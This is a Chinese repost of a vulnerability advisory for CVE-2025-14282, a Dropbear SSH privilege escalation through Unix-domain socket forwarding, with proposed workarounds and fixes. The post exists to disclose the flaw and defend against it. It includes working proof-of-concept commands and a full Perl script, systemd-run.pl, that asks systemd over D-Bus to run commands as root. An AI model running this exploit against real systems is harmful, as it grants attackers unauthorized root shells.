CVE-2025-14282Dropbear——通过Unix域套接字转发进行权限提升

admin 2025-12-23 16:02:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了CVE-2025-14282,指出DropbearSSH服务器因以root身份执行Unix域套接字转发存在权限提升漏洞。普通用户可利用此漏洞连接到系统级套接字绕过权限检查,进而获取rootshell。文章提供了复现演示及利用脚本,建议临时禁用转发或永久更改用户凭据权限以修复该风险。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,漏洞预警


cover_image

CVE-2025-14282 Dropbear——通过 Unix 域套接字转发进行权限提升

Ots安全

2025年12月22日 17:13 广东

威胁简报

恶意软件

漏洞攻击

[原始报告于2025年12月5日发送至[email protected],并于12月16日(略作扩充)发送至[email protected] ]

在多用户模式下运行并验证用户身份时,dropbear ssh 服务器以 root 用户身份执行套接字转发(以及远程客户端请求的所有其他操作),仅在生成 shell 时或执行某些操作(例如读取用户文件)时才切换到已登录用户。

即使使用 TCP 套接字[1] ,情况也相当糟糕,但随着最近可以使用 Unix 域套接字作为转发目标[2],情况变得更加糟糕:任何能够通过 SSH 登录的用户都可以使用 root 凭据连接到任何 Unix 套接字,从而绕过文件系统限制和对等方执行的任何SO_PEERCRED/检查。SO_PASSCRED

在大多数系统中,这很容易被用来获取 root shell [3]。

演示

  • trixie当前 Debian 系统已安装 Dropbear 并配置为监听端口222 [4],
  • luser是不可使用 sudo 权限的普通用户,可以通过 ssh 登录并执行套接字转发(默认允许)。
  • systemd-run.pl是一个 perl 脚本,它将 dbus 消息打包并写入 unix 域套接字。

从一个终端:

rm ~/sock; ssh -L ~/sock:/run/systemd/private -t -p 222 luser@trixie sleep 71d

从另一个终端

$ perl systemd-run.pl ~/sock 't=/proc/$(pgrep -f&nbsp;"^sleep 71d")/fd/1; script /dev/null&nbsp;-qc bash <$t >$t'

返回第一个

root@trixie:/# _

可能的解决方法和修复方案

一个临时的解决方法是默认禁用所有转发(无论是 tcp、unix、x11、代理等),并指示用户以单用户模式运行服务器,如果他们想要使用这些功能,则需要显式地启用它们。

真正的解决方法是在执行任何转发或读取任何用户文件之前,尽快将已登录用户的凭据的 setuid/gid/groups 属性永久更改为其他用户。与各种说法相反,创建伪终端、写入 utmp 记录或进行 pam 会话管理实际上并不需要 root 权限。

具体来说,来回切换 uid(就像当前代码对某些操作所做的那样[5])并不是一个合适的解决方法,因为对等方可能依赖于SO_PASSCRED检查,而这些检查是在每次读取时执行的,而不仅仅是在接受连接时执行的。

笔记

[1] https://github.com/turistu/dropbearx/commit/cfb81a0(在我 fork 的 dropbear 版本中)。这种权宜之计远远不够,因为它只在绑定时进行 uid 切换,而不是在连接或解析主机名时进行,而且它只切换了 uid,没有同时切换 gid 和组。

[2] https://github.com/mkj/dropbear/commit/1d5f63c

[3]是的,这意味着即使使用 OpenSSH,用户也可以绕过自己的登录 shell(以及任何ForceCommand限制authorized_keys command=”…” ),运行任何他们想要的命令,但只能使用他们 自己的凭据。例如(用户foo具有 uid 1001):

$ rm -f ~/sock; ssh -fNL ~/sock:/run/user/1001/systemd/private foo@trixie
foo@trixie's password:
$ perl systemd-run.pl ~/sock /bin/mkdir mkdir -p '/tmp/xx/$(literally&)'
...
root@trixie:/# ls -ld /tmp/xx/*
drwxrwxr-x 2 foo foo 40 Dec 16 09:32 '/tmp/xx/$(literally&)'

本示例假设 sshd 以UsePAM=yes(Debian 上的默认设置)运行。

但这里提到的 dbus/systemd 只是一个示例;还有很多其他方法可以滥用它;特别是 xwayland / 最近的 linux 发行版已经彻底废除了 X11 cookie 身份验证,只依赖于si:localuser(即 SO_PEERCRED检查)进行身份验证。

[4] http://cloud.debian.org/images/cloud/trixie/daily/20251215-2327/debian-13-nocloud-amd64-daily-20251215-2327.qcow2 您可以更改默认端口/etc/default/dropbear

[5] 参见https://github.com/mkj/dropbear/blob/7b8e47a7/src/svr-agentfwd.c#L155 注意,即使在之后setegid(),0 仍然可能是补充组的一部分 (通常确实如此 ;-)),因此该代码将使用 gid 0 提供的任何权限。svr -authpubkey.c#L473也是如此。

systemd-run.pl

#! /usr/bin/perl
usestrict;

my ($peer, @cmd) = @ARGV ? @ARGV : qw(/run/systemd/private&nbsp;date);
useIO::Socket::UNIX;
my $sock =&nbsp;new&nbsp;IO::Socket::UNIX ($peer)&nbsp;ordie"connect: $peer: $!";
$/ =&nbsp;"\r\n";
syswrite $sock, join $/,&nbsp;"\0AUTH EXTERNAL",&nbsp;"DATA",&nbsp;"BEGIN",&nbsp;"";
while(1){&nbsp;die"unexpected EOF"&nbsp;unless defined ($_ = <$sock>); last&nbsp;if&nbsp;/^OK / }
@cmd = ('/usr/bin/sh',&nbsp;'sh',&nbsp;'-c', @cmd)&nbsp;if&nbsp;@cmd ==&nbsp;1;
syswrite $sock, pack_dbus(q{
&nbsp; &y&nbsp;108141
&nbsp; &u ?len&nbsp;1
&nbsp; &a(yv) {
&nbsp; &nbsp; &r &y&nbsp;1&nbsp; &vo /org/freedesktop/systemd1
&nbsp; &nbsp; &r &y&nbsp;3&nbsp; &vs StartTransientUnit
&nbsp; &nbsp; &r &y&nbsp;2&nbsp; &vs org.freedesktop.systemd1.Manager
&nbsp; &nbsp; &r &y&nbsp;6&nbsp; &vs org.freedesktop.systemd1
&nbsp; &nbsp; &r &y&nbsp;8&nbsp; &vg ssa(sv)a(sa(sv))
&nbsp; }
&nbsp; &r
&nbsp; &nbsp; &t=.
&nbsp; &s ["run-".int(rand&nbsp;1<<32).".service"]
&nbsp; &s fail
&nbsp; &a(sv) {
&nbsp; &nbsp; &r &s ExecStart
&nbsp; &nbsp; &nbsp; &nbsp;&va(sasb) {
&nbsp; &nbsp; &nbsp; &r &s [[ $cmd[0] ]]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&as&nbsp;{ &s [[ @cmd[1..$#cmd] ]] }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&b&nbsp;0
&nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; }
&nbsp; &a(sa(sv))
&nbsp; &nbsp; &len=.-t
});

package packer {
&nbsp; sub TIEHASH { my $p = shift; bless {'', \$_[0]}, $p }
&nbsp; sub FETCH { $_[0]{$_[1]}{v} }
&nbsp; sub STORE {
&nbsp; &nbsp; my $v = $_[0]{$_[1]}{v} = $_[2]; my $h = $_[0]{$_[1]};
&nbsp; &nbsp; substr ${$_[0]{''}}, $$h{o}, $$h{l}, pack $$h{s}, $v&nbsp;if&nbsp;$$h{l};
&nbsp; &nbsp; $v
&nbsp; }
&nbsp; sub pack {
&nbsp; &nbsp; my $d = shift->{''}; my $s = shift; $$d = pack&nbsp;"a* $s", $$d, @_
&nbsp; }
}
my (%ts, $ts); BEGIN {
&nbsp; sub{while(@_){
&nbsp; &nbsp; $ts{$_}=["x!$_[1]", $_[2]]&nbsp;for&nbsp;split&nbsp;'', $_[0]; splice @_,&nbsp;0,&nbsp;3
&nbsp; }}->(qw[
&nbsp; &nbsp; y&nbsp;1&nbsp;C
&nbsp; &nbsp; ubh&nbsp;4&nbsp;L
&nbsp; &nbsp; so&nbsp;4&nbsp;L/a*x
&nbsp; &nbsp; g&nbsp;1&nbsp;C/a*x
&nbsp; &nbsp; re({&nbsp;8&nbsp;a0
&nbsp; &nbsp; a&nbsp;4&nbsp;a0
&nbsp; &nbsp; i&nbsp;4&nbsp;l n&nbsp;2&nbsp;s q&nbsp;2&nbsp;S x&nbsp;8&nbsp;q t&nbsp;8&nbsp;Q d&nbsp;8&nbsp;d
&nbsp; ]);
&nbsp; $ts = qr/[@{[keys %ts]}]/;
}
sub pack_dbus {
&nbsp; @_ = map /(?{pos})\[+(?{(pos)-$^R}).*?(?:(??{"\\]"x$^R})|$)|\S+/gs, @_;
&nbsp; my $p = tie my %h, packer => my $d;
&nbsp; my @o;
while(@_){
&nbsp; &nbsp;&nbsp;if(($_ = shift) eq&nbsp;'}'){
&nbsp; &nbsp; &nbsp; my $o = pop @o&nbsp;ordie"unbalanced '}'";
&nbsp; &nbsp; &nbsp; substr $d, $$o[0],&nbsp;4, pack&nbsp;'L', length($d) - $$o[1];
&nbsp; &nbsp; &nbsp; next
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;die"unexpected token '$_'"&nbsp;unless s/^&//;
&nbsp; &nbsp;&nbsp;if(/=/){
&nbsp; &nbsp; &nbsp; s/([a-z]\w*)/(\$h{$1})/gi, s/\./(length\$d)/g;
&nbsp; &nbsp; &nbsp; defined($_ =&nbsp;eval)&nbsp;ordie"$_: $@";
&nbsp; &nbsp; &nbsp; next
&nbsp; &nbsp; }
&nbsp; &nbsp; my $vt = s/^v&?// ? 'C/a*x' : 'a0';
&nbsp; &nbsp;&nbsp;if(/^a($ts)/){
&nbsp; &nbsp; &nbsp; $p->pack("$vt x!4", $_); my $o = length $d;
&nbsp; &nbsp; &nbsp; $p->pack("L $ts{$1}[0]");
&nbsp; &nbsp; &nbsp; shift, push @o, [$o, length $d]&nbsp;if&nbsp;$_[0] eq&nbsp;'{';
&nbsp; &nbsp; &nbsp; next;
&nbsp; &nbsp; }
&nbsp; &nbsp; $p->pack("$vt x!8", $_), next&nbsp;if&nbsp;$_ eq&nbsp;'r';
&nbsp; &nbsp;&nbsp;die"no such type $_"&nbsp;unless /^$ts$/;
&nbsp; &nbsp; my ($t, @t) = ($_, @{$ts{$_}});
&nbsp; &nbsp;&nbsp;while(@_&nbsp;and&nbsp;$_[0] !~ /^[&}]/){
&nbsp; &nbsp; &nbsp;&nbsp;if(($_ = shift) =~ s/^\?//){
&nbsp; &nbsp; &nbsp; &nbsp; $p->pack("$vt $t[0]", $t); my $o = length $d;
&nbsp; &nbsp; &nbsp; &nbsp; $p->pack("x[$t[1]]");
&nbsp; &nbsp; &nbsp; &nbsp; $$p{$_} = { s => $t[1], o => $o,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; l => length($d) - $o }
&nbsp; &nbsp; &nbsp; }elsif(/^\[/){
&nbsp; &nbsp; &nbsp; &nbsp; s/^\[+|\]+$//g;
&nbsp; &nbsp; &nbsp; &nbsp; defined(my @v =&nbsp;eval)&nbsp;ordie"$_: $@";
&nbsp; &nbsp; &nbsp; &nbsp; $p->pack("$vt @t", $t, $_)&nbsp;for&nbsp;@v;
&nbsp; &nbsp; &nbsp; }else{
&nbsp; &nbsp; &nbsp; &nbsp; $p->pack("$vt @t", $t, $_);
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; }
&nbsp; $d
}

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《CVE-2025-14282 Dropbear——通过 Unix 域套接字转发进行权限提升》

评论:0   参与:  2